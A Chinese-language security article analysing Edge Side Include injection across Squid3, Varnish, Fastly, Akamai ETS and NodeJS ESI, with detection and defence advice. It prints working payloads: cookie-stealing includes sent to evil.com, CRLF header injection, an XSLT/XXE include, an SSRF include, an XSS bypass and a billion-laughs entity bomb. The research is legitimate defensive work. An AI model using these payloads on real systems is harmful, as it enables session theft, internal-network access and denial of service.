浅析Edge Side Include注入(下)
字数 2060 2025-08-26 22:11:56
Edge Side Include (ESI) 注入深度分析
1. ESI 注入概述
Edge Side Include (ESI) 注入是一种新型攻击向量,源于代理服务器对ESI功能的滥用。当代理服务器盲目解析用户输入时,可能导致多种安全风险,包括:
- Cookie窃取
- 服务器端请求伪造(SSRF)
- 绕过XSS Filter保护机制
- HTTP响应拆分(HRS)
- 拒绝服务攻击(DoS)
2. ESI 功能支持矩阵
不同ESI实现支持的功能存在差异:
| 功能/产品 | Includes | Vars | Cookie访问 | 上游标头要求 | 主机白名单 |
|---|---|---|---|---|---|
| Squid3 | ✓ | ✗ | ✓ | ✗ | ✗ |
| Varnish | ✓ | ✗ | 文档撰写中 | ✓ | ✓ |
| Fastly | ✓ | ✗ | ✓ | ✗ | ✓ |
| Akamai ETS | ✓ | ✓ | ✓ | ✗ | ✓ |
| NodeJS ESI | ✓ | ✓ | ✓ | ✗ | 可选 |
3. 各产品ESI实现细节
3.1 Squid3
- 漏洞:存在两个NULL指针解引用漏洞(CVE-2018-1000024和CVE-2018-1000027)
- Cookie窃取:必须一次性提取所有Cookie
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>
3.2 Varnish Cache
-
安全特性:
- 仅执行来自上游服务器且符合VCL规范的ESI语句
- 默认仅当响应体第一个非零字符为
<时才解析ESI - 可通过
ESI_DISABLE_XML_CHECK关闭此检查
-
CRLF注入:
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
3.3 Fastly
- 与Varnish高度相似
- 无需指定代理服务器标头即可解析ESI include
- 不受CRLF注入影响
3.4 Akamai ESI Test Server (ETS)
-
特殊功能:
- 支持特定Cookie名称提取
<esi:include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/> - 调试模块:
<esi:debug/> - XSLT转换支持(可能导致XXE攻击)
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
- 支持特定Cookie名称提取
-
十亿笑攻击:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!-- 更多递归实体定义 --> ]> <lolz>&lol9;</lolz>
3.5 NodeJS ESI
- 通用payload:
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/> - nodesi模块实现了白名单机制
4. ESI注入检测方法
-
检查HTTP标头:
- 查找
Surrogate-Control: content="ESI/1.0"标头 - 注意:许多代理服务器会移除此标头
- 查找
-
测试方法:
- 尝试各种ESI payload并观察响应
- 测试SSRF、Cookie泄露等场景
- 注意白名单限制可能导致测试失败
5. 防御措施
-
输入清理:
- 采用与防御XSS类似的输入验证和清理策略
- 对所有用户提供的数据进行严格过滤
-
白名单策略:
- 实施主机和域名白名单
- 限制ESI include只能访问可信源
-
配置安全:
- 禁用不必要的ESI功能
- 对于Varnish,避免使用
ESI_DISABLE_XML_CHECK - 保持ESI实现组件的最新版本
-
安全通知:
- 供应商应明确告知用户启用ESI的风险
- 文档中应包含安全配置指南
6. 攻击场景总结
| 攻击类型 | 示例payload | 影响 |
|---|---|---|
| Cookie窃取 | <esi:include src="http://evil.com/$(HTTP_COOKIE)"/> |
会话劫持 |
| SSRF | <esi:include src="http://internal-server/admin"/> |
内部网络探测 |
| XSS绕过 | <esi:vars>$(QUERY_STRING{'param'})</esi:vars> |
绕过传统XSS防护 |
| HRS | 包含CRLF的include | 响应拆分攻击 |
| DoS | 十亿笑攻击payload | 服务不可用 |
7. 研究时间线
- 2017年:联系Akamai安全团队请求测试环境
- 2018年:
- 发现Squid3的两个漏洞(CVE-2018-1000024和CVE-2018-1000027)
- 发布完整研究成果
8. 总结
ESI注入是一种被广泛忽视的攻击向量,影响多种代理服务器和缓存系统。由于ESI规范最初未考虑安全问题,开发人员必须自行实施防护措施。通过理解不同ESI实现的特性、攻击方法和防御策略,可以更好地保护系统免受此类攻击。